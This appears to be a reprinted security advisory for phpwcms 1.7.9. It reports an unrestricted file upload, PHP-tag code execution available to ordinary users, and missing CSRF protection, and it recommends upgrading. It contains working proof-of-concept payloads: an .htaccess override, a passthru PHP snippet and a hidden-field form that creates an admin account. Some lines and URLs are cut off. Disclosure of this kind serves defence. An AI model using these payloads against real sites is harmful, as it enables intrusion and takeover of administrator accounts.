phpwcms 1.7.9 - Multiple Vulnerabilities

ID 1337DAY-ID-24698
Type zdt
Reporter Tim Coen
Modified 2015-12-10T00:00:00


Exploit for php platform in category web applications

                                            phpwcms 1.7.9 Code Execution and Cross Site Request Forgery Vulnerabilities


phpwcms allows the upload of files with dangerous type, which leads to code
execution. Additionally, it allows registered users who are not admins to use
PHP tags, which also leads to code execution.

Please note that a user account is needed to upload files. The user does not
need administration rights, but there is no open registration by default (the
form to add users is however open to CSRF).

  Unrestricted Upload of File with Dangerous Type


High 9.0 AV:N/AC:L/Au:S/C:C/I:C/A:C


When uploading files, there are no checks as to the type or extension of the

When uploading single files, these are stored inside the "filearchive"
directory. The original file name is changed to the hash of the file name. The
directory is protected with a .htaccess file from accessing or executing files
directly. Because of this, uploading single files can not easily be exploited;
it may however be possible to execute them via include_int_php (see below).

However, when uploading multiple files, these are stored temporarily inside the
"upload" directory, and these files are not renamed. The "upload" directory is
also protected by an .htaccess file, but as .htaccess files can be uploaded, it
can be overwritten, thus leading to code execution.

Please note that a user account is needed to upload files. The user does not
need administration rights, but there is no open registration by default.

Proof of Concept

Upload a .htaccess file and a PHP file here:

The .htaccess file should contain:
    allow from all

Now the uploaded PHP file can be accessed and executed:

  Code Execution


High 9.0 AV:N/AC:L/Au:S/C:C/I:C/A:C


The functions include_int_php, include_int_phpcode, and include_ext_php can all
be used to gain code execution. These functions can be used by any logged in
user, admin rights are not required.

Proof of Concept

Create a new article. As author, use
    [PHP] passthru("touch mynewtest.php") [/PHP]

is one of the ways to trigger the code execution.

Please note that the feed is by default cached for one hour, during which the
code would not be executed as the cache is loaded instead.

The vulnerable functions are used in other places as well, which means an
attacker may not have to wait an hour for the cache to clear by triggering the
code elsewhere.


phpwcms 1.7.9 Cross Site Request Forgery


There is no CSRF protection for any forms, which means that an attacker can
perform any action a victim can perform, if the victim visits an attacker
controlled website while logged in. In the case of phpwcms, an attacker can add
an admin user and thus gain code execution.

  Proof of Concept

Add Admin User:

    <form action="http://localhost/phpwcms-phpwcms-1.7.9/phpwcms.php?do=admin&s=1" method="POST">
      <input type="hidden" name="form_newloginname" value="Jane" />
      <input type="hidden" name="form_newpassword" value="Smith" />
      <input type="hidden" name="form_newemail" value="[email protected]" />
      <input type="hidden" name="form_newrealname" value="Jane Smith" />
      <input type="hidden" name="form_feuser" value="2" />
      <input type="hidden" name="form_active" value="1" />
      <input type="hidden" name="form_admin" value="1" />
      <input type="hidden" name="verification_email" value="0" />
      <input type="hidden" name="form_aktion" value="create_account" />
      <input type="hidden" name="Submit" value="send user data" />
      <input type="submit" value="Submit request" />


To mitigate this issue please upgrade at least to version 1.8.0 RC1:

Please note that a newer version might already be available.

# [2018-03-13]  #